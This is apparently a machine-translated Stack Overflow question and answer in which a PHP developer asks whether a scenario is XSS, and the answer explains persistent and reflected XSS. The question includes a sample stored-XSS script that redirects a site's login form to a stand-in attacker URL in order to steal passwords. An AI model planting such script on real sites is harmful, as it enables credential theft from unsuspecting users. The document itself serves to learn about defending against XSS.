php - 用户输入的带有 Javascript 的 HTML 显示给其他人但不是 HTML 转义的 XSS 示例

标签 php javascript html xss

我是一名 PHP 开发人员,我希望提高我网站的安全性。

据我了解,以下是影响 Web 应用程序的两种主要类型的漏洞:

  • SQL注入(inject)
  • 跨站攻击

可以使用准备好的语句修复 SQL 注入(inject) - 很简单。

但我还是不太明白 XSS——下面是 XSS 的例子吗?...

  • 充满用户制作内容的页面在顶部(全站范围)有一个登录表单。
  • 用户对页面的输入未经过 HTML 转义。
  • 用户将以下内容(例如评论)发布到页面...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • 一个无辜的用户来到页面,脚本执行。
  • 无辜的用户意识到他们没有登录,并在表单中输入他们的详细信息。
  • 用户的详细信息被发送到 http://somehackysite.com/givemyourpw.php,然后用户的帐户详细信息被盗。

所以我在这里真的有三个问题:

  1. 这行得通吗?
  2. 这是 XSS 吗?
  3. 除了转义 HTML 之外,开发人员是否应该采取任何预防措施来防止 XSS?

最佳答案

XSS 攻击有两种类型:反射型 XSS 攻击和持久型 XSS 攻击。您所描述的网站用户输入的数据保存在服务器端,并为查看页面的任何人呈现,这被认为是持久性 XSS。类似的攻击是,如果你在一个没有转义 Javascript 的帖子上有一个评论框,或者一个我可以放入任何东西的个人资料页面。

另一类 XSS 攻击是反射 XSS。这些稍微复杂一些,但它们相当于未转义页面的 URL 中的参数之一。它们经常出现在大型网站的搜索页面中。您将获得一个包含一些 javascript 的 URL(抱歉,我的示例在这里被渲染器破坏了,所以我无法向您展示示例),并且该页面将呈现允许某人制作恶意代码的 javascript网址。这些在处理任何类型的财务数据的站点上尤其危险;想象一个尽职​​尽责的用户,他总是检查以确保他们将写入指向他们银行的链接,但是由于反射 XSS 攻击,攻击者能够将他们发送到他们银行网站上的合法页面,但该页面具有恶意里面的代码。

无论如何,您的示例是持久性 XSS。与仅仅更改登录表单向用户发送的位置相比,您可以使用此类攻击做更邪恶的事情。多年来,它们一直很受欢迎,例如从站点的个人区域抓取信息,或者与 CSRF 结合使经过身份验证的用户通过简单地查看页面来执行某些操作。前一段时间有一些 MySpace 病毒会这样做,并从个人资料传播到个人资料。

关于php - 用户输入的带有 Javascript 的 HTML 显示给其他人但不是 HTML 转义的 XSS 示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8963279/

相关文章:

php - 如果不存在,将条目添加到数据库的最快方法

javascript - 如果复选框被选中,如何知道将元素添加到数组中,如果未选中,如何将其删除?

jquery - 使用 jquery 更改背景图像

javascript - 在 jQuery 中获取元素的 HTML

javascript - 如何使用 Javascript (jQuery) 调用 "base class"函数?

javascript - 永无止境的滚动,两侧克隆元素

php - 在高流量网络应用程序中记录页面 View 的最佳解决方案

php - 输出 html 与使用 echo 有什么区别吗?

php - 创建当前日期减去过去时间戳的变量

javascript - 如何将 $.storage 用于多个对象